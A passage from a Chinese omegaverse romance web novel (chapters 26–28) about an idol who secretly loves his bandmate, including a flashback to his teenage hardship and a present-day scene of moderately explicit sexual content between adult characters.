方柏嘉不明白他为什么又提起这个:“我说了啊。我和他在一起睡了一个晚上,能不沾上他的味道吗。你想多了吧。” “啧啧啧,”李子晋伸出手指摇了摇,“你还是太不了解alpha。我敢说那绝对不是正常字面意义上在一起‘睡一晚’能染上的量,他肯定是有故意释放信息素!” “?”方柏嘉说,“我就是alpha我有什么不了解的?” 这个人的描述未免也太不修边幅。 方柏嘉被他说得心跳都变快了,欲盖弥彰地又给自己灌了口水。 “你不了解的,是alpha的心机。” 李子晋深沉地说:“你不知道,我当时一闻,感觉就像有人往我脸上打了一拳!我完全有理由怀疑他是在针对我。” 李子晋终于想明白了。 如果说早上的气味袭击还可以理解为意外,那么加上他这一天在游戏里断断续续遭到的来自汤昼恒的“痛击”,李子晋已基本可以肯定,这就是那人对他的打击报复。 偏偏方柏嘉一遇上和汤昼恒有关的事就智商为零,说破嘴皮都不管用。 他轻声嘟囔:“你有什么好让他针对的,又不认识。” 言语间,显然觉得李子晋在无理取闹。 “因为我跟你关系好,咱俩经常勾肩搭背啊。”李子晋用轻描淡写的语气说出重量级的话,“他嫉妒我呗。” “嫉——” 方柏嘉愕然,还没把话说完,李子晋又开口了。 “而且你自己没感觉吗,他一来你就跟变了个人似的,第一天早上怡姐他们打趣你的时候你都插不上话——你什么时候变得这么娇羞了?你摸着良心说,自己的状态正常么?” “这也能看出来?”方柏嘉这下真震惊了,不自然地摸了摸后脖颈。 李子晋翻了个白眼:“不是看,是用脑子推断。就你那个大小狗脾气,一个月前还公开嘲讽人家呢,一个月后忽然就甜甜蜜蜜和和美美了,要不是发生了什么,你能变成这样?” “别告诉我是公司让你这么做的,你想发疯,公司管得了你?蒙得了别人瞒不过我。” 方柏嘉:“。” 方柏嘉沉默两秒,纳闷了:“你第六感这么准确,当初怎么没发现我和你撞号了?” 李子晋:“……” 提到李子晋近几年的黑历史榜首,绝对非他曾对方柏嘉有过好感莫属。 他天生就是A同,对同类有点雷达,在《时旅家》认识方柏嘉后,两人作为同龄又有相同话题的alpha,很快打成一片。关系尤其好的时候,双方录完节目都分别飞去不同城市了,晚上还会一起连麦打游戏。 其实方柏嘉的所作所为倒没越界之处,然而李子晋第一印象先入为主,总觉得方柏嘉是上边那个,自然而然把对方的行为当做示好,后面得知方柏嘉只是把自己当朋友看,尴尬得有两三期节目都没怎么和人互动。 事情的转机,是《时旅家》第一季最后一期录制现场。 收官在即,大家都很放松,晚上一起吃饭喝了酒。 录制结束后嘉宾们都还没走,继续围在桌边聊天,方柏嘉去洗手间时忘了给手机上锁,被坐在旁边的李子晋无意看到他的微博小号。 如果不是事先知道这是对方的手机,李子晋一定会以为自己看到了哪个追星梦男的账号。 很多明星开小号的目的都是为了视奸自己的粉圈和路人言论,方柏嘉的微博主页却一点相关痕迹都没有,反而关注了汤昼恒的一堆站哥站姐、大粉搬运号,连汤昼恒的超话都十级了。 首页刷一下,全是汤昼恒的各种最新美图。 点开看一下账号主页,发言更是重量级。 李子晋草草看了两三条,只有一个想法。 ……这也太阴湿了吧。 然后就被上完洗手间回来的方柏嘉抓包了。 李子晋对此的反应是:“卧槽,你他妈汤昼恒梦A啊!” 就这样,他成了现实中唯一知道方柏嘉喜欢汤昼恒的人。 而他面对方柏嘉时本有些别扭和纠结的态度,也在知晓了这个秘密后飞快地自我调理好了。 好感对象变成姐妹固然悲伤,但有瓜吃更加令人兴奋。 何况方柏嘉的暗恋对象还是对外一直传闻和他不合的同组合成员。 人性就是这么复杂,普通地喜欢上一个人却被对方拒绝,多半会恼羞成怒。可一旦得知对方同样暗恋着某人不得,李子晋瞬间就心理平衡了。 他对方柏嘉本也是一时的色迷心窍,没太多真情实感,此后还是照样往来。 听到方柏嘉的疑问,他一脸不堪回首的沉痛:“那些错误的往事就不要再提了。” 李子晋被他戳到痛处,又没套出太多话来,一时间打探的欲望也淡了,但仍没打算走,拉着方柏嘉边打游戏边聊圈内八卦。 方柏嘉本想早睡,硬生生跟对方一起耗到了凌晨快五点,最后李子晋都窝在沙发上睡着了,他反倒清醒的要命,被这人的话勾起思绪,躺在床上,翻来覆去地回忆自己和汤昼恒认识的起点。 …… 所有人都以为,他们是在组合成团前的出道战综艺里,作为竞争者才第一次知道彼此的存在。 但其实,两人的交集还要早在那之前一年多。 方柏嘉的亲生父母在他八岁大的时候就已经离婚,母亲放弃了他的抚养权,远走他乡。而父亲方旭尧则没过两年就找了下一任妻子,有了第二个儿子。 新一任妻子是名omega男性,明确和方旭尧说过不想和他前任的孩子生活在同一屋檐下。 方柏嘉便被寄养在亲戚家。 方旭尧虽然是家里的主要经济来源,但就和很多家庭里的alpha一样,只负责赚钱,完全不管家里的事,每月定时将生活费派发给继父,继父再从中抠出一小部分,给方柏嘉借住的家庭。 那是高二的寒假。 继父突然跟方柏嘉说,让他别再浪费家里的钱上学,干脆出去打工得了,同时断了他的生活费跟学费。 方柏嘉就像一袋垃圾一样被扔出了这个家——又或者说,自从方旭尧组建了新家庭后,他就没在里面过。 亲戚拿不到钱,对方柏嘉下达了逐客令,让他第二天早上就带着东西走人。 当天晚上方柏嘉没有睡觉,坐在亲戚家书房里那张白天就会收起来的小折叠床上,脑子很乱地刷了快两个小时的手机。 他好像同时处在麻木与精神之间,一会儿清醒而焦虑地翻着软件上的各种兼职信息,想着以后该怎么办,接下来去哪,未来的日子要怎么过。 一会儿又抽离地刷着娱乐社交媒体,好像生活的齿轮依然在平稳地转。 方柏嘉在汤昼恒的超话里看到,这个月末就是汤昼恒的生日,到时候粉丝们会在首都的公司楼下为他庆生。 首都…… 手机射出的蓝光在黑暗中形成一道荧荧的光柱,方柏嘉在心中默念这两个字,回过神,将界面切到买车票的APP。 他这个城市离首都很近,坐火车最便宜只要二十块。 对着车次列表来来回回看了有十多分钟,方柏嘉就做出了自己人生中最重要的举动。 他下定决心,下单了一张时间最近的车票。 * 突然想去首都,并非出自什么缜密的计划,而更单纯像是压抑许久后的发泄。 不过方柏嘉也不是一点打算都没有。 因为家里断供而不得不未成年外出打工的例子屡见不鲜,学校老师根本无从去管。 不管后面究竟还能上学与否,现在的当务之急都是赚钱。 他这个年纪的人,出去找工作只能干没技术含量的体力活。 既然到哪都是端盘子打扫卫生这一套,那就在哪儿也都行。 就当去大城市见世面了。 长久以来紧绷的弦忽然断了,方柏嘉心中产生出想要挣脱束缚、希望能不顾一切地冲动一把的渴望。 他当晚就收拾了自己为数不多的行李,提着一个24寸的箱子,赶上晚上最后一班地铁去了火车站,在那里睡了一晚,坐上了第二天清晨去往首都的车。 双脚刚刚落地,他没来得休息一下,就一边看着这边的网上招聘,一边在路边找起了工作。 头几个晚上没有地方住,方柏嘉不想多花钱,就近找24小时营业的便利店、快餐店过夜,第二天再带着行李箱上路。 临近春节,需要额外帮手的商铺很多。方柏嘉没多久就找到一个连锁餐饮店的兼职。过了几天,又应聘成为一家清吧酒馆的服务员。 店里本来不包吃住,但老板看着他每天拎着行李箱进出,得知方柏嘉没有住处,允许他在找到固定住所前都睡在清吧的员工更衣室。 时间不知不觉来到汤昼恒的生日。 他那会儿粉丝不多,顶多只是三四线小艺人,但粉丝还是在山川相缭的公司楼下给汤昼恒做了庆生的布置,附近的公交站台也换上了他的生日广告牌,方柏嘉在工作时间刷到了同担的现场返图。 清吧今天不营业,老板要在店里招待朋友,估计要一直待到凌晨。 方柏嘉嫌吵,和老板说自己晚上要找朋友一起玩,其实一等傍晚餐饮店的工作结束,便换下员工服,坐上了赶往生贺场地的地铁。 价格五元的地铁票,坐过去要45分钟。 从地铁口出来步行去公司的路上,方柏嘉路过街边一家蛋糕店,门庭冷落,他走进去的时候里面没有人。 方柏嘉绕着店中央的柜台转了一圈,看到最便宜的蛋糕是那种从大蛋糕上裁下来的切块,一个十七块。 他盯着它看了一会儿,引起店里正在刷抖音的店员的注意,打算从收银台后面走出来招待。 “不用了,我就看一看。”方柏嘉连忙出声阻止,说完便走出店门。 到了公司楼下,零星有粉丝在拍照打卡,方柏嘉走上前去,像他们一样,拿起手机记录下这一刻。 大概因为他是在粉丝当中很少见的Alpha,还是个很好看、很高挑的年轻男性,没一会儿,一旁的一个女粉丝就注意到他,走了上来,问汤昼恒需不需要有人帮他合影。 方柏嘉愣了一瞬,随后迅速反应过来,迅速地摆手说不,又说“谢谢”。 拍完照没有事做,他在原地呆了一会儿,看到公司斜对面就有一家24小时营业的连锁快餐店,心想今晚就睡这儿了。 走进店面,方柏嘉挑了个墙角的靠窗位坐下,蹭着店里的wifi,一股脑把刚才拍的照片都在私信里发给了汤昼恒。 【生日快乐![图片][图片][图片][图片]】 【老公好帅[礼花][礼花][礼花]】 【希望老公新的一年越来越火越来越帅一直有戏拍!> <】 他冷着脸狂发感叹句,手指舞动得飞快。 发完又长叹一口气,放下手机,对着面前空气中飞舞的尘埃发呆。 方柏嘉来得不巧,据说汤昼恒这几天都在公司,今天早点的时候还下楼来给在场的粉丝分了亲手切的蛋糕,但他那会儿还没下班,没赶上。 过来参观生日布置只是一时兴起,因为不知道该做什么,所以想看点有盼头的事情让自己心情好点。 但此刻看着外面的街景,又有种更加空落落的孤独感。 好像过去一段时间的疲倦都在这一瞬间爆发开来,脑海中跑马灯一样播放起过去这些天的片段,方柏嘉忽然有些不知道这一切的意义在哪。 努力打工赚钱,寄希望于每天工作十七个小时的生活能让他重返校园,然后呢? 他真的觉得自己有能力自给自足地上完高中最后这一年半的学吗? 方柏嘉要租房、要半工半读,要每天一放学就出校门去兼职到凌晨,然后才回到出租屋写他这天的作业,甚至可能连作业也写不完。 光是提前预想一下都觉得喘不过气。 所以他是不是直接进厂拧螺丝还更干脆省事? 这爹不疼娘不爱的人生到底在挣扎什么? 十七岁的方柏嘉茫然了。 他保持着这个茫然的状态,掏出寒假作业的卷子来写。 店内的空气暖洋洋的,不时裹着一阵炸物的香气飘过来,刺激得方柏嘉没吃晚餐的腹中越发饥饿。 卷子干到第二张,他有点写不下去,打开背包,从里面拿出餐饮店店长发给大家的饼干啃了起来。 随意填了点肚子,他重新打开私信,整个人趴在桌上,懒洋洋地双手举着手机打字。 【好饿,老公。快要没钱吃饭了,坐五块钱地铁来看你是我最后的奢侈。】 【听其他粉丝说七点左右有发蛋糕,可恶来晚了没吃上[握拳]】 【刚刚路过一家蛋糕店看到最便宜的蛋糕也没买,哎……】 【悄悄告诉你老公,我的生日只和你差一天噢。】 【话说今天这个开封菜的暖气好足啊,不用担心半夜被冻醒了】 【店里这个香味闻得我快晕了,好想吃辣翅,我可以吃十对!顺便再来一杯大杯的冰可乐就更爽了。】 【啊啊啊啊啊啊啊】 【我这么小的年纪不吃晚饭不会以后都不长个吧!】 【ps我一米八[吐舌]】 …… 方柏嘉以前从不追星,为了获取更多汤昼恒的消息,却也渐渐了解了粉圈那一套。 他有个没告诉任何人的微博账户,最后沦为了汤昼恒的粉丝号。 关注对方的官号、加入个人超话,时不时转发一些物料。 入坑后没多久,方柏嘉渐渐开始像其他粉丝一样,会给汤昼恒发私信。 他一开始还不理解,这样做难道不是很危险吗,万一发出去的东西被正主看到了怎么办? 如果说的刚好是一些上不了台面的话,那就更尴尬了。 很快就有其他粉丝告诉他,姐妹,明星都是不看私信的呀,每天私信那么多,看得过来么?人被翻了牌,肯定会发出来让大家蹭运气。你看我们超话里没有一个人发过这个,就证明汤汤根本不看私信。 既然不看,发什么重要么? 方柏嘉恍然大悟,明白了这种举动的精妙所在。 有些内容发在公共平台上太私密,写在手机里又没有倾诉感。 就是要发给这种明知道99.99%的可能都不会被看到的账号上,才会有那种若有若无的、0.01%的刺激感。满足了一定的表达与被偷窥欲,又能保证安全性。 方柏嘉开始还有些生疏,后面越发熟练起来,把汤昼恒的账号当成了备忘录和垃圾树洞的混合体,和自己想象中的人诉说生活中的点点滴滴。 汤昼恒的私信变成了方柏嘉的漂流瓶,将他对外说不出的话都藏进了瓶子里,流入网络信息的海洋中。 可能人倒霉的时候就会很多话吧。方柏嘉开了个口,倾诉欲瞬间爆发,一口气发了好多条。 苦中作乐完,他放下手机,接着写试卷。 这些天他餐饮店和清吧的工作轮班倒,日均睡不到五个小时,处在严重缺觉的边缘。 又写了半面,实在困得不行,方柏嘉打个哈欠,把笔推到一边,背包揣在身前,手机也放在臂弯里塞好,趴在桌上闭眼小憩。 店里人多,很吵,一时半会睡不着。方柏嘉假寐了不到十分钟,中途不断感觉有人在店里走来走去,还有大门反复被推开又关上的声音。 忽然,一只扫帚伸到脚边,有个中年女人的声音道:“孩子,醒醒。” 意识到是这里的保洁在跟他说话,方柏嘉一下从座位上坐起来,惯性以为是店里不让过夜,手上已经收拾卷子准备离开,嘴上还在问:“不好意思,怎么了吗?” 虽然长得很拽,但他意外是那种对人很礼貌的类型。 女人看见他的动作,也愣了一下,按住他的肩膀说:“没事。我就是过来扫下地,你坐着就好了。刚看你手机亮了一下,好像有人发信息过来,要及时回啊。” “……哦。”方柏嘉抓着卷子的手怔怔地放下来,不明白对方为什么要特意提醒他。身子斜侧到一边,方便保洁将地上的碎屑扫走。 几秒之后,女人离开。 想起她说的话,方柏嘉将桌上的手机打开。 屏幕亮起,他的视线被几条两分钟前的消息提醒吸引了注意力。 @汤昼恒T 私信你:【生日快乐】 @汤昼恒T 私信你:【A098】 @汤昼恒T 私信你:【去吃吧。】 第27章 第 27 章 一阵阵涟漪涌来。 方柏嘉:“……?” 方柏嘉感觉自己要不认识中文字了。 他把这两条消息来回看了好几遍, 才似乎察觉到了什么,猛地抬头朝店内前台高悬着的显示屏上看过去。 一串等待着的编号中,“A098”赫然在列。 “????” 什么情况? 生日愿望还没许就显灵了? 方柏嘉定了定神, 为了确定,从外面点进私信对话框看了眼。 再顺着私信界面点进汤昼恒的头像看了眼。 靠, 真是本人,而不是什么装成明星本人诈骗的高仿账号。 方柏嘉:【?】 短短一个符号, 显示出方柏嘉无限的迷茫。 我谁?你谁?汤昼恒为什么会回他? 不是说不看私信吗? 那他这是在…… 方柏嘉发完觉得自己的问号很傻, 就这么一个短短的标点符号, 指望汤昼恒能回你什么?对方看了估计也很无语, 一般粉丝被翻牌不是应该都很激动吗?一个【?】又是什么鬼? 他的心里忽然又升上来一种可能。 话说, 不是高仿的话……汤昼恒该不会被盗号了吧。 背后的骗子特地利用了粉丝们单纯善良的心理特点, 专门顶了正主的号上来骗钱什么的。 但汤昼恒就算突然对他说“我在片场受伤了给我打五千”,他也没有啊。 为了安全起见,方柏嘉立刻退出私信, 翻起了超话, 想看看有没有人和他一样, 收到了类似信息。 没有。 方柏嘉又返回来,对着对面那一句【去吃吧】和自己的【?】发起了呆。 大概是他这短短一个问号实在不好回答,那个人也在揣测他的心理。 过了有半分钟, 对面才发来一条新的。 汤昼恒T:【不是说饿了?】 汤昼恒T:【请你的。】 方柏嘉:“……” 方柏嘉忽然有一种很微妙的感觉。 就好像, 对方知道他在看到那条消息后,并没有去拿吃的,所以又发了一条消息过来确认一样。 说不上来究竟出于什么心理,他在看到这句话的瞬间做出的第一反应,竟然是拿着手机,从左到右地环视了一圈视野内的景色。 店内到处都有人, 方柏嘉也没好意思看得太仔细,匆匆瞥了下就收回来,额外冲着一旁的窗外看了好几眼。 来打卡的粉丝先前早都陆陆续续地走了,冬天的街上看不见几道停驻的人影,更别说符合目标身型长相的人。 方柏嘉收回目光,觉得自己这突如其来的揣测有点好笑。 汤昼恒再怎样也是一个艺人,怎么会因为他一条私信就专门下来看他。 “——A098号。”突然间,柜台处的店员叫了这么一声,“A098号在吗?” 大概是因为已经做好一会儿了,但一直没人来领,这个号码其实已经被叫了两三遍,方柏嘉埋头睡觉的时候一直没注意。 他生出一种恍然的不确定感,条件反射性般地起身,几乎是飘着去的柜台。 “我就是A098。” 店员看他一眼,显然是注意到方柏嘉已经在店里待了许久,和善地提醒:“下回要注意啊,都点餐了就不要睡觉了嘛。” 方柏嘉不知道该说什么,只好冲对方笑了笑。 端着餐盘回到座位,他看了眼汤昼恒给他点的东西。 两个十只装的翅桶。一份大杯的冰可乐。 “……”看来真是给他点的。 方柏嘉一瞬间又感觉到有点玄妙。不过想想也不奇怪,他发给汤昼恒的图片足以证明他来了公司楼下,话语间也有提到店名,对方猜出来他就在山川相缭旁边的这个快餐店,也算情有可原吧。 但是。 方柏嘉又忍不住想,汤昼恒是怎么确定,他没有在拍完照后立刻离开的呢?首都的开封菜这么多,方柏嘉又是在写了一会儿卷子后才给他发的消息,完全有在中间这个空档转换阵地的可能。 汤昼恒要是点完单才得知方柏嘉已经跑了,岂不是好心办傻事。 也得亏方柏嘉还在。 想来想去,只能归结于他们的运气都还不错,恰好就是这么凑巧。 行吧。 方柏嘉想,点都点了。 就算对方是盗了汤昼恒号的骗子,那他把饭吃了之后不理对方,不就不会被诈骗了。 话说回来,他的私信里可写了不少杂七杂八的东西,可以说是把方柏嘉的现状暴露得一览无遗。什么骗子会在明知道对方已经穷得睡快餐店的情况下还要从他身上骗钱啊?还是说要把他骗去电诈传销组织? 方柏嘉想了一大堆有的没的,其实心里已经接受了对面就是汤昼恒的事实。 仔细思考一下,能想到的解释只有一个,就是人在遇到喜事的时候都愿意做些善举。汤昼恒本来不爱看私信,但恰逢生日,他心情不错,久违地登上来看了眼粉丝祝福,又久违地打开私信界面,很碰巧地看到了方柏嘉的消息,发现自己的粉丝之一过得很惨,遂大方地请客。 倒也很符合他一向展现出来的形象。 汤昼恒的性格就是很好,这是无论什么媒体采访、片场物料和粉丝传闻间都公认的事。 方柏嘉喜欢他有部分理由也是因为这个。 方柏嘉打开手机原相机,微微抬高一点,把餐盘上的东西拍了下来,发给对方。 虽然汤昼恒可能也不是特别在意,但既然拿了人好处,还是要表达一声感谢。 【[图片]拿到了,谢谢】 之前还一口一个老公外加萌表情,真面对真人了,方柏嘉反倒客气起来,拘束得连个感叹号都不敢带。 身体被炸物发出来的香气所引诱,肚子又开始咕咕地叫。 估摸着对话到这里就结束了,方柏嘉放下手机,戴上手套,小心翼翼地吃起来。 炸鸡腿咬下去是热的,牙齿破开酥脆的外皮,嵌进肉里的瞬间会有汁水爆开,溢进口腔。 感觉很真实,应该不是他做着做着试卷被饿昏了晕倒在桌上而生出来的梦。 难道过期了的生日也有魔力? 方柏嘉试图回想。只记得自己昨天起床时许下的生日愿望,是能赶紧结束这一团乱麻的生活,然后就又像往常一样,爬起来赶地铁去餐饮店上班。 早知道这样,他那会儿就该认真地祈祷天降两百万,说不定汤昼恒能帮他实现。 ——开玩笑的。 方柏嘉低头,认真啃着辣翅。 恍惚间,似乎有一道高大挺拔的身影从他的桌边经过,走向快餐店的大门。 方柏嘉后知后觉、慢半拍地抬头,就见那人一身从头到脚的黑色,因为背对着方柏嘉这边,只对他露出戴着卫衣帽子的后脑勺。 像一道风般离开。 …… * 一觉睡到快中午,方柏嘉是被外面的门铃叫起来的。 奇怪,他没点客房服务啊? 方柏嘉迷迷糊糊拿起枕头边上的手机看了一眼,然后瞬间清醒。 已经上午十一点四十了,他本来打算早起吃完早饭就去找汤昼恒商量事情的。 都怪李子晋,拖着他一起熬夜,搞得他差点耽误正事。 方柏嘉下了床,急匆匆走出套房卧室,出来时看见李子晋还在外面的沙发上趴着睡。 他摇了摇头,来到门边。一开门,发现汤昼恒就在门外。 并且身上穿着整齐,脚上也穿好了鞋,一副正准备外出的装扮。 方柏嘉立刻“咦?” 了一下,下意识后退一步,不知道是在惊讶于对方此刻的造型,还是汤昼恒特意前来找自己。 他刚想问对方怎么知道自己的房间号,又觉得这种问题直接去找工作人员就好,顿了顿,道:“你是要走了吗?” 汤昼恒嗯了声。 “隔壁深城那边有活动,等下就得出发。” 他垂下眼。 “我来是想问,你昨天发给我的微信——” 方柏嘉被他提醒,“啊”了一声,抓了抓头发,有点尴尬地说:“我昨天晚上睡太晚了……早上没起来。” 李子晋一直赖在他的房里不走,方柏嘉不好在人眼皮底下去和汤昼恒会面,在微信上给他发了条消息,问他明天上半天有没有空,自己到时候再过去找他。 汤昼恒的回答是有。 但他今天上午等了好一会儿,方柏嘉都没有来。 眼见退房的时间要到了,汤昼恒决定过来看看方柏嘉是否有什么别的情况。 听见对方的解释,他便道:“没关系。所以你本来是找我有什么事?” 汤昼恒还想问,你还需要我的帮忙吗?想了想又把这句咽下去,想先听方柏嘉的回答。 一开始本来是有事来着。 方柏嘉想,因为他的伪感期要到了。 据说早期原始社会里的alpha易感频率高达一月一次,后来随着人类不断发展,加上现代医学的进步,他们已不再需要频繁的生理发/情期来促进繁衍,大约自两百年前开始,alpha的易感期就已经缩减进化为每季度一次。 之前一月一次的生理周期并没有完全消失,而是变成了“伪感期”——程度只是真正易感期的几分之一,仅靠口服抑制剂就可以正常工作出行,而不是只能待在家里。 然而,由于方柏嘉的特殊体质,几乎是理所当然的,他在伪感期所表现出来的症状也要比寻常alpha严重。 以前他还能靠吃药解决,然而这次出行之前,林主任才刚警告过他不能再使用抑制类药物。 也就是说,他要么靠着意志硬抗,要么寻求汤昼恒的帮助。对方答应的话,方柏嘉也会轻松很多。 复诊过后,方柏嘉就一直在想这件事。 不出预料,他的伪感期基本就在这次录制之后过两天。 在这样的情况下坐飞机回去,稍微有点危险,方柏嘉已经提前联系酒店前台续房,打算等伪感期过了再走。 但还迟迟没有问过汤昼恒的意愿。 人有时候真的很奇怪,明知道某件事很重要,却又总不合时宜地生起逃避心理,拖延症大爆发到最后一刻。 追根究底,还是因为方柏嘉不够确定。 汤昼恒一开始只是说要帮他脱敏,并没有答应过别的。 陪方柏嘉度过伪感期并不是对方的分内之事,所以汤昼恒未必会愿意—— 只需要应付短暂的十五分钟,和一天当中至少大半时间都浪费在他身上,是两个完全不同的概念。 庇护所里汤昼恒问他要不要接吻,方柏嘉回答等回酒店再说,也是想着把两件事放在一起提,开场白可以自然一点,被答应的概率说不定也更大,没准汤昼恒帮他脱敏完就顺势同意了。 然而,对方现在说他马上要走,原本的计划瞬间失去意义。 方柏嘉半张着嘴,听到这里,有些尴尬地用食指挠了挠脸:“……其实也没什么事了。” 不过也不一定。 方柏嘉还想问问汤昼恒大概什么时候活动结束,一个脑袋忽然从他身旁的门框边上探出头,睡眼惺忪地说:“你在和谁说话?” 是李子晋。 约莫是听到方柏嘉和汤昼恒在门口说话,被两人的对话声给吵醒,过来一探究竟。 “……” 门内外的人顿时都变了脸色。 也不知道是李子晋走路太轻,还是方柏嘉的注意力全在汤昼恒身上,根本没听见多余的声响,旁边突然窜出来个活人,把他都给吓了一跳,惊吓过后紧随而来的是慌张。 他猛地回头看了汤昼恒一眼,也不知哪根筋搭错,忽一下慌乱地按着李子晋的头把他塞回门里。 李子晋嘟嘟囔囔的声音还在传出:“不是,你干什么呀?” 多余的动作反而显出一种此地无银三百两的心虚。 方柏嘉正对着门外,张了张嘴说:“他就是过来找我聊聊天……” 生怕对方误会似的,也不知道在刻意解释些什么。 汤昼恒依旧很有风度和涵养地笑了下,但嘴角弯起来的弧度怎么看都有点凉,说了声“知道了”,拿出手机看了眼,似乎是有人打来电话催他。 “那你们继续聊,我去赶行程了。” 然后和方柏嘉道别。 方柏嘉也只能对着他说“再见”,心中生出一种悬而未决的不真实感。 一直到把坏事的李子晋赶走,回到床上发了五分钟的呆,方柏嘉才忽然不确定地想。 等等……汤昼恒刚才是不高兴了吗? * 不知道是不是前两天的录制太累了,加上拍摄后期还下了水,在汤昼恒离开后的第二天,方柏嘉的伪感期就到了。 早上起来身体就在发热,但不适以及烦躁感还没那么明显,方柏嘉甚至从随身行李里拿出IPAD写了会儿歌。 然而因为产前发育不足的缘故,方柏嘉每到生理期都觉得很疲惫。他写了没多少就累了,中午午饭也没吃,躺平补了一觉。 在梦里,他梦到了汤昼恒。 还是在节目录制时下去过的那个泳池里,然而这一回,那些道具、气垫全不见了,也没有其他人。 整个场景里只有他和汤昼恒的存在,那人像在游戏中那样从背后搂着他,将他压在池边。 身上的T恤与运动裤都湿透,被水打湿的面料紧贴在肌肤表面,薄薄一层,勾勒出对方凸起与凹陷都很明显的肌肉轮廓。汤昼恒躯壳火热,哪怕正泡在水里都阻挡不了从他身上散发出的炙烫温度。 对方的手伸下去,轻轻拨开方柏嘉的裤腰探到最深,胯骨以下紧紧抵住方柏嘉尾椎骨的位置,具有存在感的物体将面料都挤压到缝隙当中。 一阵阵涟漪涌来,方柏嘉身体晃动,说不清是泳池中水波的助力还是还是来自汤昼恒的推动。他再也忍受不住,转身搂住对方的脖颈,借着水流的浮力将腿盘上alpha劲瘦的腰身。 更加紧密的接触,让一切变化都无所遁形,方柏嘉脸上烧得发烫,听见那人低下头来,问他要做什么。 方柏嘉躁动地喘息一声,附在他的耳边对他说:“我要你像上次那样……()我。” 然后他就醒了。 不知道是不是身体对不可控之物下意识的抑制,方柏嘉的梦境倏然中断。 清醒过来的那一刻,好像有什么湿乎乎的东西在身下氤氲开来,一直熨帖地穿在身上的睡裤也呈现出别样的形状。 说不清是来自哪个部位,但不管哪里都不陌生。 那是已经有段时间没经历过的体验,方柏嘉闷哼兼并着呜咽,感觉到与他半退化的生殖腔相连的腔道凸显出了在此之前从未有过的强烈存在感,像是在期待着什么东西的强烈入/侵,即便房间里根本没有别人。 被窝里热得让人烦躁,身体也不知不觉出了好多汗。他在窒息前一秒掀开被子,大口喘息,有些懊恼地抓了抓头发,去卫生间将脏了的睡裤换下,凉水冲完澡,套了个浴袍又躺回床上。 醒来后,方柏嘉的状态明显进入了下一个阶段,再睁开眼时头晕眼也酸,连骨头缝都泛着痒。 这是他第一次在没有抑制剂的情况下度过伪感期,症状要比他想象的再强烈一点。 他将早已形同累赘的电子设备扔远,一个人钻进被窝,将自己捂紧。过了一会儿又觉得热,拿起遥控将空调打开。 但还是不行。 热意从躯壳最深处蔓延出来,不论是小腹还是头骨内部都像装盛着岩浆,沿着血管奔流汇聚,将全身上下每一寸酸软的肌肉纹理都浸透成晴/欲的味道。 方柏嘉闭了闭眼,深呼吸。 只犹豫了一小下,就掀开被子,头重脚轻地来到床尾的行李箱边,弯腰拨弄起上边的密码。 方柏嘉动作有点笨拙,眼也有些花,大脑运程变慢,好一会儿都没有将数字转到正确的位置,气得他差点想要骂人。 过了几秒,终于打开箱子。 一通摸索之后,他从层层柔软衣物的包裹中找到一个手感熟悉的小方盒: 一只50ml的香水瓶,外边是透明玻璃的材质,瓶身被很应景地设计成与香型呼应的渐变玫红色。 樱桃味。 方柏嘉如释重负地将它拿起,举到手里端详。 这是大概在前年的时候,公司专门出的一期unforbidem六名成员的同款模拟信息素香水。 这款周边一经上线便在几秒内被抢购一空,二道贩子炒得火热,方柏嘉找了黄牛也才抢到两瓶,后面都是从二手市场收的。出发前方柏嘉纠结了好久,秉承着不怕一万就怕万一的原则才收到箱子里,没想到真能用上。 最后一丝理智消散前,他想起自己还没和经纪人报备,拿起手机,调出微信界面。 方柏嘉将他们组合的其他人加上经纪人全置顶了,Danny哥是第一位,然后是剩下五人按年龄大小排序。 会这么做不是因为仪式感,而是这样就可以名正言顺地把汤昼恒排在很前面的位置,被人问起来也有借口可答。 方柏嘉想点进Danny哥的账号,然而手指软得厉害,眼睛也没跟上趟,指尖轻轻一歪,戳到了下边仅有一毫之隔的汤昼恒的微信头像上。 他毫无察觉,眼睛眯着,手指长按最下边的白色按钮,闭眼发了条语音过去。 第28章 第 28 章 我在,就能管你干什么了…… 两小时后。 汤昼恒结束完今天的工作, 在坐车回酒店的路上发现方柏嘉发给自己的语音条。 汤昼恒挑了挑眉,点开语音,将手机底部凑近到耳边。 【——“Danny哥, 我伪感期到了,最近几天没有行程, 我在这边的酒店多待几天再回去,跟你说一下。”】 汤昼恒低头看了眼屏幕。 原来是发错人了。 方柏嘉的声线黏黏糊糊, 因为信号的转化而越发显得缥缈轻软, 嘟嘟囔囔地吐字不清, 像刚睡醒或者正在发烧鼻塞的人才会发出的声音。 听起来倒也不是不耳熟。 毕竟对方上次易感期抱着他说胡话时就和这差不多。 能连发送对象都认不出, 看来确实已经进入至少中度乃至更深度的伪感阶段。 汤昼恒将方柏嘉的话转述给了经纪人。 返回到和那人的聊天框, 对着界面上的语音转文字盯着看了会儿。 他把声音放大两格, 点进去又听了一遍。 除了方柏嘉本身的声音有点含糊不清以外,四周听起来倒是很安静,像是只有他一个人。 伪感期。 汤昼恒在心里重复这三个字, 脑海里闪过昨天午间时见过的、从对方房门后冒出来的那张脸。 顶着个鸡窝头, 身上穿着印有酒店logo的浴袍, 还很亲密的一样子,一看就是在别人的房里待了一晚。 关系有好到那个地步吗?还“只是来找我聊天”,不明白有什么好聊一个晚上的。 方柏嘉的伪感期到了, 却没有告诉他, 反而允许另一个alpha在他那里过夜。 是完全信任对方不会对他怎么样,还是因为别的隐情? 汤昼恒动动手指想要打字,但又猜以对方现在的状态,估计不怎么能看到手机上的文字消息,便又放下。 过了片刻回到酒店,他才一边坐在桌前卸妆, 一边给方柏嘉拨打过去。 * 手机突然震起来的时候,方柏嘉正在悄悄干着坏事。 他发完那条语音也没检查,看了眼确保消息发送成功,便将电子设备放到一边,把房间里的灯光调低。 洗了两次凉水澡还是不起效果,他终于放弃抵抗,决定用老办法来解决体内突然上涌的洪流。 方柏嘉母胎单身多年,早已形成自助习惯,知道该怎样应付生理期的种种情况。 他熟练地从浴室里拿了块干净毛巾出来,把香水集中喷洒在半个巴掌大的面积里,盖在枕头上,深吸一口气,大半张脸贴上去。手伸进松垮的浴袍,满脸红晕地慢慢给自己弄。 香水是人工信息素和普通的气味分子的结合产品,制作时考虑到了没有第二嗅觉的beta粉丝群体,也很适合现在的方柏嘉。 因为是仿制品,到底和真人不完全一样,但毕竟是临时应急,也管不了那么多。 方柏嘉闭眼半埋在毛巾里,一边忍耐一边轻声喘/息,继续幻想着梦境里遗留的画面,又或是更早以前,在他宿舍的床上,汤昼恒安抚他的那些场景。 搭在脸旁的手抓紧枕头,浴袍上面很快传来湿润。 